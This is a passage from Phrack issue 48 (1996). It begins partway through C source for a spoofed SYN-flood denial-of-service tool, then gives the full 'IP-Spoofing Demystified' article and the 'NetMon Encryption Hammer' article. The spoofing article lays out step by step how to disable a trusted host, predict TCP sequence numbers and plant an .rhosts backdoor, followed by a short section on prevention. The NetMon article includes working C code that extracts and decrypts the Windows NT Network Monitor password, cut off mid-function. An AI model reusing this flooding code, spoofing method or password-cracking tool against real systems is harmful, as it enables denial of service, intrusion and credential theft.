HANDLERCODE=1;

close(sock2);

break;

}

optflags[2]=1;

close(sock2);

break;

case 4:

printf("[port number]‑> ");

fgets(tmp,MENUBUF,stdin);

port=atoi(tmp);

optflags[3]=1;

break;

case 5:

printf("[number of SYNs]‑> ");

fgets(tmp,MENUBUF,stdin);

if(!(amount=atoi(tmp)))break;

optflags[4]=1;

break;

case 6:

menuLoop‑‑;

break;

case 7:

if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){ syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),nameID,target,unreach,port,amount); flood(sock1,nameResolve(unreach),nameResolve(target),port,amount); menuLoop‑‑;

}

else{

fprintf(stderr,"Illegal option ‑‑try again\n"); usleep(MENUSLEEP);

}

break;

case 8:

if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){ if(!port){

fprintf(stderr,"Cannot set infinity flag in daemon mode. Sorry.\n"); usleep(MENUSLEEP*2);

break;

}

printf("[packet sending interval in seconds {80}]‑> "); fgets(tmp,MENUBUF,stdin); if(!(interval=atoi(tmp)))interval=80;

printf("[time for daemon to live in whole hours(0=forever)]‑> "); fgets(tmp,MENUBUF,stdin);

ttl=atoi(tmp);

syslog(LOG_LOCAL6|LOG_INFO,"DFLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d Interval: %d TTL: %d\n",getpid(),nameID,target,unreach,port,amount,interval,ttl); demon(sock1,unreach,target,port,amount,interval,ttl); exit(0);

}

else{

fprintf(stderr,"Illegal option ‑‑try again\n"); usleep(MENUSLEEP);

}

break;

default:

fprintf(stderr,"Illegal option ‑‑try again\n"); usleep(MENUSLEEP);

}

}

printf("\n");

printf(werd);

return;

}

/*

*SlickPing. A quick and dirty ping hack. Sends <amount> ICMP_ECHO *packets and waits for a reply on any one of them... It has to check *to make sure the ICMP_ECHOREPLY is actually meant for us, as raw ICMP *sockets get ALL the ICMP traffic on a host, and someone could be *pinging some other host and we could get that ECHOREPLY and foul *things up for us.

*/

int slickPing(amount,sock,dest)

int amount,sock;

char *dest;

{

int alarmHandler();

unsigned nameResolve(char *);

register int retcode,j=0;

struct icmphdr *icmp;

struct sockaddr_in sin;

unsigned char sendICMPpak[MAXPAK]={0};

unsigned short pakID=getpid()&0xffff;

struct ippkt{

struct iphdr ip;

struct icmphdr icmp;

char buffer[MAXPAK];

}pkt;

bzero((char *)&sin,sizeof(sin));

sin.sin_family=AF_INET;

sin.sin_addr.s_addr=nameResolve(dest);

/* ICMP Packet assembly */

/* We let the kernel create our IP header as it is legit */

icmp=(struct icmphdr *)sendICMPpak;

icmp‑>type=ICMP_ECHO;/* Requesting an Echo */

icmp‑>code=0;/* 0 for ICMP ECHO/ECHO_REPLY */

icmp‑>un.echo.id=pakID;/* To identify upon return */

icmp‑>un.echo.sequence=0;/* Not used for us */

icmp‑>checksum=in_cksum((unsigned short *)icmp,64);

fprintf(stderr,"sending ICMP_ECHO packets: "); for(;j<amount;j++){

usleep(ICMPSLEEP);/* For good measure */

retcode=sendto(sock,sendICMPpak,64,0,(struct sockaddr *)&sin,sizeof(sin)); if(retcode<0||retcode!=64)

if(retcode<0){

perror("ICMP sendto err");

exit(1);

}

else fprintf(stderr,"Only wrote %d bytes",retcode);

else fprintf(stderr,".");

}

HANDLERCODE=1;

signal(SIGALRM,alarmHandler);/* catch the ALARM and handle it */

fprintf(stderr,"\nSetting alarm timeout for 10 seconds...\n"); alarm(10);/* ALARM is set b/c read() will block forever if no */

while(1){/* packets arrive... (which is what we want....) */

read(sock,(struct ippkt *)&pkt,MAXPAK‑1); if(pkt.icmp.type==ICMP_ECHOREPLY&&icmp‑>un.echo.id==pakID){ if(!HANDLERCODE)return(0);

return(1);

}

}

}

/*

*SIGALRM signal handler. Souper simple.

*/

int alarmHandler(){

HANDLERCODE=0;/* shame on me for using global vars */

alarm(0);

signal(SIGALRM,SIG_DFL);

return(0);

}

/*

*Usage function...

*/

void usage(nomenclature)

char *nomenclature;

{

fprintf(stderr,"\n\nUSAGE: %s \n\t‑s unreachable_host \n\t‑t target_host \n\t‑p port [‑8 (infinity switch)] \n\t‑a amount_of_SYNs\n",nomenclature); exit(0);

}

/*

*Demon. Backgrounding procedure and looping stuff.

*/

void demon(sock,unreachable,target,port,amount,interval,ttl)

int sock;

char *unreachable;

char *target;

int port;

int amount;

int interval;

int ttl;

{

fprintf(stderr,"\nSorry Daemon mode not available in this version\n"); exit(0);

}

IP-Spoofing Demystified

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 14 of 18

[ IP‑spoofing Demystified ] (Trust‑Relationship Exploitation)

by daemon9 / route / infinity

for Phrack Magazine

June 1996 Guild Productions, kid

comments to route@infonexus.com

The purpose of this paper is to explain IP‑spoofing to the masses. It assumes little more than a working knowledge of Unix and TCP/IP. Oh, and that yur not a moron... IP‑spoofing is complex technical attack that is made up of several components. (In actuality, IP‑spoofing is not the attack, but a step in the attack. The attack is actually trust‑relationship exploitation. However, in this paper, IP‑spoofing will refer to the whole attack.) In this paper, I will explain the attack in detail, including the relevant operating system and networking information.

[SECTION I. BACKGROUND INFORMATION]

‑‑[ The Players ]‑‑

A: Target host

B: Trusted host

X: Unreachable host

Z: Attacking host

(1)2: Host 1 masquerading as host 2

‑‑[ The Figures ]‑‑

There are several figures in the paper and they are to be interpreted as per the following example:

ick host a control host b

1 A ‑‑‑SYN‑‑‑> B

tick: A tick of time. There is no distinction made as to *how* much time passes between ticks, just that time passes. It's generally not a great deal.

host a: A machine particpating in a TCP‑based conversation. control: This field shows any relevant control bits set in the TCP header and the direction the data is flowing

host b: A machine particpating in a TCP‑based conversation.

In this case, at the first refrenced point in time host a is sending a TCP segment to host b with the SYN bit on. Unless stated, we are generally not concerned with the data portion of the TCP segment.

‑‑[ Trust Relationships ]‑‑

In the Unix world, trust can be given all too easily. Say you have an account on machine A, and on machine B. To facilitate going betwixt the two with a minimum amount of hassle, you want to setup a full‑duplex trust relationship between them. In your home directory at A you create a .rhosts file: `echo "B username" > ~/.rhosts` In your home directory at B you create a .rhosts file: `echo "A username" > ~/.rhosts` (Alternately, root can setup similar rules in /etc/hosts.equiv, the difference being that the rules are hostwide, rather than just on an individual basis.) Now, you can use any of the r* commands without that annoying hassle of password authentication. These commands will allow address‑based authentication, which will grant or deny access based off of the IP address of the service requestor.

‑‑[ Rlogin ]‑‑

Rlogin is a simple client‑server based protocol that uses TCP as it's transport. Rlogin allows a user to login remotely from one host to another, and, if the target machine trusts the other, rlogin will allow the convienience of not prompting for a password. It will instead have authenticated the client via the source IP address. So, from our example above, we can use rlogin to remotely login to A from B (or vice‑versa) and not be prompted for a password.

‑‑[ Internet Protocol ]‑‑

IP is the connectionless, unreliable network protocol in the TCP/IP suite. It has two 32‑bit header fields to hold address information. IP is also the busiest of all the TCP/IP protocols as almost all TCP/IP traffic is encapsulated in IP datagrams. IP's job is to route packets around the network. It provides no mechanism for reliability or accountability, for that, it relies on the upper layers. IP simply sends out datagrams and hopes they make it intact. If they don't, IP can try to send an ICMP error message back to the source, however this packet can get lost as well. (ICMP is Internet Control Message Protocol and it is used to relay network conditions and different errors to IP and the other layers.) IP has no means to guarantee delivery. Since IP is connectionless, it does not maintain any connection state information. Each IP datagram is sent out without regard to the last one or the next one. This, along with the fact that it is trivial to modify the IP stack to allow an arbitrarily choosen IP address in the source (and destination) fields make IP easily subvertable.

‑‑[ Transmission Control Protocol ]‑‑

TCP is the connection‑oriented, reliable transport protocol in the TCP/IP suite. Connection‑oriented simply means that the two hosts participating in a discussion must first establish a connection before data may change hands. Reliability is provided in a number of ways but the only two we are concerned with are data sequencing and acknowledgement. TCP assigns sequence numbers to every segment and acknowledges any and all data segments recieved from the other end. (ACK's consume a sequence number, but are not themselves ACK'd.) This reliability makes TCP harder to fool than IP.

‑‑[ Sequence Numbers, Acknowledgements and other flags ]‑‑

Since TCP is reliable, it must be able to recover from lost, duplicated, or out‑of‑order data. By assigning a sequence number to every byte transfered, and requiring an acknowledgement from the other end upon receipt, TCP can guarantee reliable delivery. The receiving end uses the sequence numbers to ensure proper ordering of the data and to eliminate duplicate data bytes.

TCP sequence numbers can simply be thought of as 32‑bit counters. They range from 0 to 4,294,967,295. Every byte of data exchanged across a TCP connection (along with certain flags) is sequenced. The sequence number field in the TCP header will contain the sequence number of the *first* byte of data in the TCP segment. The acknowledgement number field in the TCP header holds the value of next *expected* sequence number, and also acknowledges *all* data up through this ACK number minus one. TCP uses the concept of window advertisement for flow control. It uses a sliding window to tell the other end how much data it can buffer. Since the window size is 16‑bits a receiving TCP can advertise up to a maximum of 65535 bytes. Window advertisement can be thought of an advertisment from one TCP to the other of how high acceptable sequence numbers can be.

Other TCP header flags of note are RST (reset), PSH (push) and FIN (finish). If a RST is received, the connection is immediately torn down. RSTs are normally sent when one end receives a segment that just doesn't jive with current connection (we will encounter an example below). The PSH flag tells the reciever to pass all the data is has queued to the aplication, as soon as possible. The FIN flag is the way an application begins a graceful close of a connection (connection termination is a 4‑way process). When one end recieves a FIN, it ACKs it, and does not expect to receive any more data (sending is still possible, however).

‑‑[ TCP Connection Establishment ]‑‑

In order to exchange data using TCP, hosts must establish a a connection. TCP establishes a connection in a 3 step process called the 3‑way handshake. If machine A is running an rlogin client and wishes to conect to an rlogin daemon on machine B, the process is as follows:

fig(1)

1 A ‑‑‑SYN‑‑‑> B

2 A <‑‑‑SYN/ACK‑‑‑ B

3 A ‑‑‑ACK‑‑‑> B

At (1) the client is telling the server that it wants a connection. This is the SYN flag's only purpose. The client is telling the server that the sequence number field is valid, and should be checked. The client will set the sequence number field in the TCP header to it's ISN (initial sequence number). The server, upon receiving this segment (2) will respond with it's own ISN (therefore the SYN flag is on) and an ACKnowledgement of the clients first segment (which is the client's ISN+1). The client then ACK's the server's ISN (3). Now, data transfer may take place.

‑‑[ The ISN and Sequence Number Incrementation ]‑‑

It is important to understand how sequence numbers are initially choosen, and how they change with respect to time. The initial sequence number when a host is bootstraped is initialized to 1. (TCP actually calls this variable 'tcp_iss' as it is the initial *send* sequence number. The other sequence number variable, 'tcp_irs' is the initial *receive* sequence number and is learned during the 3‑way connection establishment. We are not going to worry about the distinction.) This practice is wrong, and is acknowledged as so in a comment the tcp_init() function where it appears. The ISN is incremented by 128,000 every second, which causes the 32‑bit ISN counter to wrap every 9.32 hours if no connections occur. However, each time a connect() is issued, the counter is incremented by 64,000.

One important reason behind this predictibility is to minimize the chance that data from an older stale incarnation (that is, from the same 4‑tuple of the local and remote IP‑addresses TCP ports) of the current connection could arrive and foul things up. The concept of the 2MSL wait time applies here, but is beyond the scope of this paper. If sequence numbers were choosen at random when a connection arrived, no guarantees could be made that the sequence numbers would be different from a previous incarnation. If some data that was stuck in a routing loop somewhere finally freed itself and wandered into the new incarnation of it's old connection, it could really foul things up.

‑‑[ Ports ]‑‑

To grant simultaneous access to the TCP module, TCP provides a user interface called a port. Ports are used by the kernel to identify network processes. These are strictly transport layer entities (that is to say that IP could care less about them). Together with an IP address, a TCP port provides provides an endpoint for network communications. In fact, at any given moment *all* Internet connections can be described by 4 numbers: the source IP address and source port and the destination IP address and destination port. Servers are bound to 'well‑known' ports so that they may be located on a standard port on different systems. For example, the rlogin daemon sits on TCP port 513.

[SECTION II. THE ATTACK]

...The devil finds work for idle hands....

‑‑[ Briefly... ]‑‑

IP‑spoofing consists of several steps, which I will briefly outline here, then explain in detail. First, the target host is choosen. Next, a pattern of trust is discovered, along with a trusted host. The trusted host is then disabled, and the target's TCP sequence numbers are sampled. The trusted host is impersonated, the sequence numbers guessed, and a connection attempt is made to a service that only requires address‑based authentication. If successful, the attacker executes a simple command to leave a backdoor.

‑‑[ Needful Things ]‑‑

There are a couple of things one needs to wage this attack:

(1) brain, mind, or other thinking device (1) target host

(1) trusted host

(1) attacking host (with root access) (1) IP‑spoofing software

Generally the attack is made from the root account on the attacking host against the root account on the target. If the attacker is going to all this trouble, it would be stupid not to go for root. (Since root access is needed to wage the attack, this should not be an issue.)

‑‑[ IP‑Spoofing is a 'Blind Attack' ]‑‑

One often overlooked, but critical factor in IP‑spoofing is the fact that the attack is blind. The attacker is going to be taking over the identity of a trusted host in order to subvert the security of the target host. The trusted host is disabled using the method described below. As far as the target knows, it is carrying on a conversation with a trusted pal. In reality, the attacker is sitting off in some dark corner of the Internet, forging packets puportedly from this trusted host while it is locked up in a denial of service battle. The IP datagrams sent with the forged IP‑address reach the target fine (recall that IP is a connectionless‑oriented protocol‑‑ each datagram is sent without regard for the other end) but the datagrams the target sends back (destined for the trusted host) end up in the bit‑bucket. The attacker never sees them. The intervening routers know where the datagrams are supposed to go. They are supposed to go the trusted host. As far as the network layer is concerned, this is where they originally came from, and this is where responses should go. Of course once the datagrams are routed there, and the information is demultiplexed up the protocol stack, and reaches TCP, it is discarded (the trusted host's TCP cannot respond‑see below). So the attacker has to be smart and *know* what was sent, and *know* what reponse the server is looking for. The attacker cannot see what the target host sends, but she can *predict* what it will send; that coupled with the knowledge of what it *will* send, allows the attacker to work around this blindness.

‑‑[ Patterns of Trust ]‑‑

After a target is choosen the attacker must determine the patterns of trust (for the sake of argument, we are going to assume the target host *does* in fact trust somebody. If it didn't, the attack would end here). Figuring out who a host trusts may or may not be easy. A 'showmount ‑e' may show where filesystems are exported, and rpcinfo can give out valuable information as well. If enough background information is known about the host, it should not be too difficult. If all else fails, trying neighboring IP addresses in a brute force effort may be a viable option.

‑‑[ Trusted Host Disabling Using the Flood of Sins ]‑‑

Once the trusted host is found, it must be disabled. Since the attacker is going to impersonate it, she must make sure this host cannot receive any network traffic and foul things up. There are many ways of doing this, the one I am going to discuss is TCP SYN flooding.

A TCP connection is initiated with a client issuing a request to a server with the SYN flag on in the TCP header. Normally the server will issue a SYN/ACK back to the client identified by the 32‑bit source address in the IP header. The client will then send an ACK to the server (as we saw in figure 1 above) and data transfer can commence. There is an upper limit of how many concurrent SYN requests TCP can process for a given socket, however. This limit is called the backlog, and it is the length of the queue where incoming (as yet incomplete) connections are kept. This queue limit applies to both the number of imcomplete connections (the 3‑way handshake is not complete) and the number of completed connections that have not been pulled from the queue by the application by way of the accept() system call. If this backlog limit is reached, TCP will silently discard all incoming SYN requests until the pending connections can be dealt with. Therein lies the attack. The attacking host sends several SYN requests to the TCP port she desires disabled. The attacking host also must make sure that the source IP‑address is spoofed to be that of another, currently unreachable host (the target TCP will be sending it's response to this address. (IP may inform TCP that the host is unreachable, but TCP considers these errors to be transient and leaves the resolution of them up to IP (reroute the packets, etc) effectively ignoring them.) The IP‑address must be unreachable because the attacker does not want any host to recieve the SYN/ACKs that will be coming from the target TCP (this would result in a RST being sent to the target TCP, which would foil our attack). The process is as follows:

fig(2)

1 Z(x) ‑‑‑SYN‑‑‑> B

Z(x) ‑‑‑SYN‑‑‑> B

Z(x) ‑‑‑SYN‑‑‑> B

Z(x) ‑‑‑SYN‑‑‑> B

Z(x) ‑‑‑SYN‑‑‑> B

...

2 X <‑‑‑SYN/ACK‑‑‑ B

X <‑‑‑SYN/ACK‑‑‑ B

...

3 X <‑‑‑RST‑‑‑ B

At (1) the attacking host sends a multitude of SYN requests to the target (remember the target in this phase of the attack is the trusted host) to fill it's backlog queue with pending connections. (2) The target responds with SYN/ACKs to what it believes is the source of the incoming SYNs. During this time all further requests to this TCP port will be ignored.

Different TCP implementations have different backlog sizes. BSD generally has a backlog of 5 (Linux has a backlog of 6). There is also a 'grace' margin of 3/2. That is, TCP will allow up to backlog*3/2+1 connections. This will allow a socket one connection even if it calls listen with a backlog of 0.

AuthNote: [For a much more in‑depth treatment of TCP SYN flooding, see my definitive paper on the subject. It covers the whole process in detail, in both theory, and practice. There is robust working code, a statistical analysis, and a legnthy paper. Look for it in issue 49 of Phrack. ‑daemon9 6/96]

‑‑[ Sequence Number Sampling and Prediction ]‑‑

Now the attacker needs to get an idea of where in the 32‑bit sequence number space the target's TCP is. The attacker connects to a TCP port on the target (SMTP is a good choice) just prior to launching the attack and completes the three‑way handshake. The process is exactly the same as fig(1), except that the attacker will save the value of the ISN sent by the target host. Often times, this process is repeated several times and the final ISN sent is stored. The attacker needs to get an idea of what the RTT (round‑trip time) from the target to her host is like. (The process can be repeated several times, and an average of the RTT's is calculated.) The RTT is necessary in being able to accuratly predict the next ISN. The attacker has the baseline (the last ISN sent) and knows how the sequence numbers are incremented (128,000/second and 64,000 per connect) and now has a good idea of how long it will take an IP datagram to travel across the Internet to reach the target (approximately half the RTT, as most times the routes are symmetrical). After the attacker has this information, she immediately proceeds to the next phase of the attack (if another TCP connection were to arrive on any port of the target before the attacker was able to continue the attack, the ISN predicted by the attacker would be off by 64,000 of what was predicted). When the spoofed segment makes it's way to the target, several different things may happen depending on the accuracy of the attacker's prediction:

‑ If the sequence number is EXACTly where the receiving TCP expects it to be, the incoming data will be placed on the next available position in the receive buffer.

‑ If the sequence number is LESS than the expected value the data byte is considered a retransmission, and is discarded.

‑ If the sequence number is GREATER than the expected value but still within the bounds of the receive window, the data byte is considered to be a future byte, and is held by TCP, pending the arrival of the other missing bytes. If a segment arrives with a sequence number GREATER than the expected value and NOT within the bounds of the receive window the segment is dropped, and TCP will send a segment back with the *expected* sequence number.

‑‑[ Subversion... ]‑‑

Here is where the main thrust of the attack begins:

fig(3)

1 Z(b) ‑‑‑SYN‑‑‑> A

2 B <‑‑‑SYN/ACK‑‑‑ A

3 Z(b) ‑‑‑ACK‑‑‑> A

4 Z(b) ‑‑‑PSH‑‑‑> A

[...]

The attacking host spoofs her IP address to be that of the trusted host (which should still be in the death‑throes of the D.O.S. attack) and sends it's connection request to port 513 on the target (1). At (2), the target responds to the spoofed connection request with a SYN/ACK, which will make it's way to the trusted host (which, if it *could* process the incoming TCP segment, it would consider it an error, and immediately send a RST to the target). If everything goes according to plan, the SYN/ACK will be dropped by the gagged trusted host. After (1), the attacker must back off for a bit to give the target ample time to send the SYN/ACK (the attacker cannot see this segment). Then, at (3) the attacker sends an ACK to the target with the predicted sequence number (plus one, because we're ACKing it). If the attacker is correct in her prediction, the target will accept the ACK. The target is compromised and data transfer can commence (4).

Generally, after compromise, the attacker will insert a backdoor into the system that will allow a simpler way of intrusion. (Often a `cat + + >> ~/.rhosts` is done. This is a good idea for several reasons: it is quick, allows for simple re‑entry, and is not interactive. Remember the attacker cannot see any traffic coming from the target, so any reponses are sent off into oblivion.)

‑‑[ Why it Works ]‑‑

IP‑Spoofing works because trusted services only rely on network address based authentication. Since IP is easily duped, address forgery is not difficult. The hardest part of the attck is in the sequence number prediction, because that is where the guesswork comes into play. Reduce unknowns and guesswork to a minimum, and the attack has a better chance of suceeding. Even a machine that wraps all it's incoming TCP bound connections with Wietse Venema's TCP wrappers, is still vulnerable to the attack. TCP wrappers rely on a hostname or an IP address for authentication...

[SECTION III. PREVENTITIVE MEASURES]

...A stich in time, saves nine...

‑‑[ Be Un‑trusting and Un‑trustworthy ]‑‑

One easy solution to prevent this attack is not to rely on address‑based authentication. Disable all the r* commands, remove all .rhosts files and empty out the /etc/hosts.equiv file. This will force all users to use other means of remote access (telnet, ssh, skey, etc).

‑‑[ Packet Filtering ]‑‑

If your site has a direct connect to the Internet, you can use your router to help you out. First make sure only hosts on your internal LAN can particpate in trust‑relationships (no internal host should trust a host outside the LAN). Then simply filter out *all* traffic from the outside (the Internet) that puports to come from the inside (the LAN).

‑‑[ Cryptographic Methods ]‑‑

An obvious method to deter IP‑spoofing is to require all network traffic to be encrypted and/or authenticated. While several solutions exist, it will be a while before such measures are deployed as defacto standards.

‑‑[ Initial Sequence Number Randomizing ]‑‑

Since the sequence numbers are not choosen randomly (or incremented randomly) this attack works. Bellovin describes a fix for TCP that involves partitioning the sequence number space. Each connection would have it's own seperate sequence number space. The sequence numbers would still be incremented as before, however, there would be no obvious or implied relationship between the numbering in these spaces. Suggested is the following formula:

ISN=M+F(localhost,localport,remotehost,remoteport)

Where M is the 4 microsecond timer and F is a cryptographic hash. F must not be computable from the outside or the attacker could still guess sequence numbers. Bellovin suggests F be a hash of the connection‑id and a secret vector (a random number, or a host related secret combined with the machine's boot time).

[SECTION IV. SOURCES]

‑Books: TCP/IP Illustrated vols. I, II & III ‑RFCs: 793, 1825, 1948

‑People: Richard W. Stevens, and the users of the Information Nexus for proofreading ‑Sourcecode: rbone, mendax, SYNflood

Netmon

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 15 of 18

Windows NT Network Monitor Exploitation

NetMon Encryption Hammer

by the AON and Route

for Phrack Magazine

May 1996 Guild productions, kid

comments to daemon9@netcom.com

Full exploit including binary dll's and execuatables: ftp.infonexus.com/pub/TooldOfTheTrade/Windows/NT/netMonExploit.tgz

[The intro]

The Microsoft Network Monitor is a packet sniffer that runs under NT. It is a very robust and versatile packet sniffer, offering much more then simple ethernet frame capturing. It packs a robust capture/display filter language, powerful protocol parsers, and one snappy GUI. NetMon is delivered as part of the SMS package. The user portion of the program calls upon the services of the Network Monitor Agent, which is a kernel driver that ships with NT (3.5.x for sure, but I don't know about 3.1). The Network Monitor Agent also provides an interface for a remote machine to connect and capture local data, provided it passes authentication. To restrict access, Network Monitor Agent utilizes a password authentication scheme. Access has two tiers: priviledge to view previously captured sessions, and priviledge to actually use the sniffer to place the ethernet card in promiscuous mode. The acutal encrypted password is stored as a 32‑byte binary string in a dynamically linked library file called BHSUPP.DLL. We have written code to extract this password from the dll and decyrpt it; we have broken the Microsoft Network Monitor password authentication system.

[The low‑down]

The encrypted string is kept as binary data in: %SystemRoot%\system32\BHSUPP.DLL (in a default installation at least). BHSUPP.DLL is known to be different sizes between versions, so we cannot look for the encrypted string at a specific offset each time. Instead we must search for a flag, and seek 32‑bytes past this flag. The flag is the 16‑byte string: "RTSS&G‑‑BEGIN‑‑". (As a matter of note, there is a terminating footer also: "RTSS&G‑‑END‑‑".)

[The encrypted truth]

It is a simple encryption function, that takes random length string and returns 256‑bit encrypted output. It may appear to be a hash, rather than a block cipher, but it is not. It does take a random length input, and produce a fixed output, but the input is always padded to 32‑bytes (with nulls if necessary). The input to the function is a user defined arbitrary string. The input is truncated to 16 bytes and then to pad out the array, the whole original password string is concatenated on the truncated version, starting at the 16th byte. It doesn't matter if the resulting string is longer than 32 bytes, as the cipher ignores anything past the 32nd byte. So: "loveKillsTheDemon" becomes: "loveKillsTheDemo" and then: "loveKillsTheDemoloveKillsTheDemon". If your password is smaller than 16 bytes, we get the 'hole‑in‑password' phenomena. Since the array is intialized will nulls, and the password is still folded over to the 16th byte, these nulls remain. This is easily visible from the first line of output in our exploit code. It also accepts empty password strings readily, without choking, which all Microsoft products seem willing to do all to easily.

[The algorithm]

The 32‑byte string is put through 32 rounds of identical operations. The outer for loop controls the value of the byte to be XORed with the entire array that round (except for itself, see below). The inner loop steps through the entire byte array. Each byte is permuted a total of 31 times (The discrepency comes from the test case where i must not be equal to j in order for a character to be permuted. It would make no sense to XOR a byte with itself). So, there are a total of 992 operations. The actual encryption algorithm is quite simple:

In C:if(i!=j)mix[j]^=mix[i]+(i^j)+j;

In English:if i is NOT equal to j, the j indexed char of mix is assigned the value of the j indexed char of mix XORed

with the i indexed char of mix PLUS i XORed with j

PLUS j.

Mathematically:1) i ^ j = k

2) k + j = l

3) l + mix[i] = m

4) m ^ mix[j] = x

OR

((i ^ j) + j + mix[i]) ^ mix[j] = x

The methods used for obscurity are exclusive OR (XOR) and binary addition, (see the appendix if you are umfamiliar with these bitwise operations) with completely known vectors. The only unknown in the whole equation is the user entered password, fleshed out to 32‑bytes. These 32 bytes are taken through 32 rounds of permutations. Simple and concise, with no key material dropped, this algorithm is not lossy. Since it is not lossy it is 100% reversible, both in theory and practice. In fact, since we know the values of the counters i and j, throughout the entire encryption process, decryption is simply a matter of reproducing these values in the proper order. Since the output of the encryption process is the input, taken through 32 rounds of identical permutations, with known vectors, we simply need to reverse this process.

[The code]

There are two versions of the exploit available. A Windows NT version and, for those of you without access to an expensive NT‑native compiler, there is a Unix version as well. The NT version is a console‑based app, as GUI code would be a waste of time. The full package of this exploit, along with an NT exexcutable and sample DLL's is available from: ftp.infonexus.com/pub/ToolsOfTheTrade/Windows/NT/netMonExploit.tgz

[The discussion]

The ramifications of this weak encryption in Network Monitor Agent are many. First off, the developers of Network Monitor Agent *didn't* use the standard security mechanisms of Windows NT. This may be because the driver is a kernel mode driver, and in NT the kernel is a trusted enity, therefore the standard security API (of Win32) does not apply in the kernel making it harder to do user authentication. It also appears that they were trying to achieve a mechanism based not on priviledge, but on knowledge. It is very likely that in secured environment not all administrators should be able to sniff the network. The problem is they did a *poor* job of securing a powerful utility.

The most straight forward attack is use Network Monitor to sniff the network (where you weren't suppose to be able to) for priviledged user data or passwords in a heterogeneous environment (since native NT networking does not send password information in the clear, but standard TCP traffic from Unix is sent clear). The rest of the attacks would come from shabby administration , such as the administrator used the password for the admin account and the capture password in Network Monitor Agent (stupid, but likely) or the same password for Network Monitor Agent on all machines across the network. In order to use the exploit utility, one must have read priviledge for BHSUPP.DLL which is installed into %SystemRoot%\system32 by default. This is not a remote attack, but rather a stepping stone to gain priviledged information when one is under‑priviledged.

[The moral]

Time and time again we see either shody implementations of trusted algorithms, or, like in this case, just plain bad cryptography. Under ITAR, most secure cryptographic algorithms are classified as munitions, and are not exportable from this country. The funny thing is, under current law, one‑way hashing functions are *not* restricted (that is why all Unix variants can ship with the standard crypt(3) libraries and executables). This authentication scheme could have *easily* been replaced by MD5, the same one‑way hash used by PGP. At least then, the complexity of an attack would be increased to a brute‑force known‑plaintext sweep of key values...

[The appendix]

For the binary‑declined...

Exclusive OR

The XOR operation is a bitwise operation with the following truth table:

XOR| 1 | 0 |The Exclusive OR operation simply says: ‑‑‑‑‑‑‑‑‑‑‑‑‑"...Hmmm, if I have a 1 and a 0, I'll spit

1 | 0 | 1 | out a 1. Anything else, a 0..."

‑‑‑‑‑‑‑‑‑‑‑‑‑

0 | 1 | 0 |

Binary addition

Binary addition is analogous to base10 addition. However, each place holds 2^n instead of 10^n...

add| 1 | 0 | base10:base2:

‑‑‑‑‑‑‑‑‑‑‑‑‑ 11 1011

1 |1 0| 1 | + 5 + 0101

‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑

0 | 1 | 0 | 16 10000

This exploit made possbile by a grant from the Guild corporation.

‑ May 07, 1996 route/aon

[The Sourcecode]

[Unix Version]

/*

Network Monitor Exploitation code, Unix version

coded by daemon9

The Guild, 1996

*/

#include<string.h>

#include<stdio.h>

#include<fcntl.h>

#define fbufsize 8192

#define flag "RTSS&G‑‑BEGIN‑‑"

#define VERSION"Unix version\n"

#define BUFSIZE 48

#define DLLNAME "./BHSUPP.DLL"

int main()

{

char *swirl(char *,int);

char *recover(char *);

void hexonx(char *);

char werd[]={"\n\n\n\n.this code made possible by a grant from the Guild corporation.\n\0"}; char *plain,*tmp,*fname,*encrypted;

int c;

printf(werd);

printf("\nNetMon Password Decryption Engine ");

printf(VERSION);

printf("\t1.\t\tEncrypt a plaintext password from STDIN.\n"); printf("\t2.\t\tDecrypt a plaintext password from the dll.\n"); tmp=(char *)malloc(10); /* Can't switch getchar() as it locks the */

bzero(tmp,10); /* fucking stream and makes futher I/O buggy*/

switch(atoi(gets(tmp))){

case 1:

printf("Enter password to be encrypted (note echo is on, as it would be a moot point\nto turn it off)\n‑>"); plain=(char *)malloc(BUFSIZE);

bzero(plain,sizeof(BUFSIZE));

gets(plain);

hexonx(swirl(plain,0));

break;

case 2:

printf("Enter name and path of DLL [./BHSUPP.DLL]:"); fname=(char *)malloc(BUFSIZE);

bzero(fname,sizeof(BUFSIZE));

gets(fname);

if(fname[0]==0)strcpy(fname,DLLNAME); if(!(encrypted=recover(fname))){

printf("Could not locate flag\n");

exit(1);

}

hexonx(swirl(encrypted,1));

break;

default:

printf("\nFine.\n");

exit(0);

}

return 0;

}

/*

swirl is the encryption/decryption function. It takes an arbitrary length string and, depending on the value of the mode variable, encrypts it or decrypts it. It returns a pointer to the string.

*/

char *swirl(byteStr,mode)

char *byteStr;

int mode;

{

int i=0,j=0;

char *mix,roundAndround[32][32];

void hexonx(char *);

mix=(char *)malloc(sizeof(byteStr));

if(!mode){

memset(mix,0,32);/* set 32 bytes of memory to 0 */

strncpy(mix,byteStr,16); /* copy the first 16 bytes of the password into the mix*/

memcpy(&mix[16],byteStr,strlen(byteStr)); /* copy password into the 16th char of the mix; if mix and plain overlap, problems occur */

printf("Password upon entering encryption rounds:\n"); hexonx(mix);

printf("\n\nbeginning 32 rounds of 'encryption'\n"); for(i=0;i<32;i++)for(j=0;j<32;j++)if(i!=j){ mix[j]^=mix[i]+(i^j)+j;/* Sekret Enkripsion occurs here... */

memcpy(&roundAndround[i][0],mix,32);/* save a copy of each round */

}

printf("\nDo you wish to view the encryption process round by round?[y]"); switch(toupper(getchar())){

case 'N':

break;

case 'Y':

default:

for(i=0;i<32;i++){

printf("round %d:\n",i+1); /* print the rounds out in hex */

hexonx(&roundAndround[i][0]);

getc(stdin);

}

}

printf("\nEncrypted output:\n");

return(mix);

}

if(mode){

strncpy(mix,byteStr,32); for(i=31;i>=0;i‑‑)for(j=31;j>=0;j‑‑)if(i!=j)mix[j]^=mix[i]+(i^j)+j; mix[32]=0;

printf("\n\n\nThe plaintext is: %s\nIn hex:\n",mix); return(mix);

}

}

/*

hexonx simply prints out 32 bytes of hexidecimal characters.

*/

void hexonx(byteStr)

char *byteStr;

{

int i=0;

for(;i<32;i++)printf("0x%x ",byteStr[i]);

printf("\n");

}

/*

recover attempts to read the encrypted string from the dll

*/

char *recover(fname)

char *fname;

{

char buffer[fbufsize],*pass;

int fd,i=0,j=0,demonFlag=0,offset,bufOffset=0;

if((fd=open(fname,O_RDONLY))<=0){

